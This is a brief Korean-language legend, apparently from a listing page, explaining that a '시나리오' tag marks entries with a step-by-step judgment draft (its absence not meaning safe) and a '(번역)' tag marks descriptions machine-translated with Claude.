시나리오 · 번역
'시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.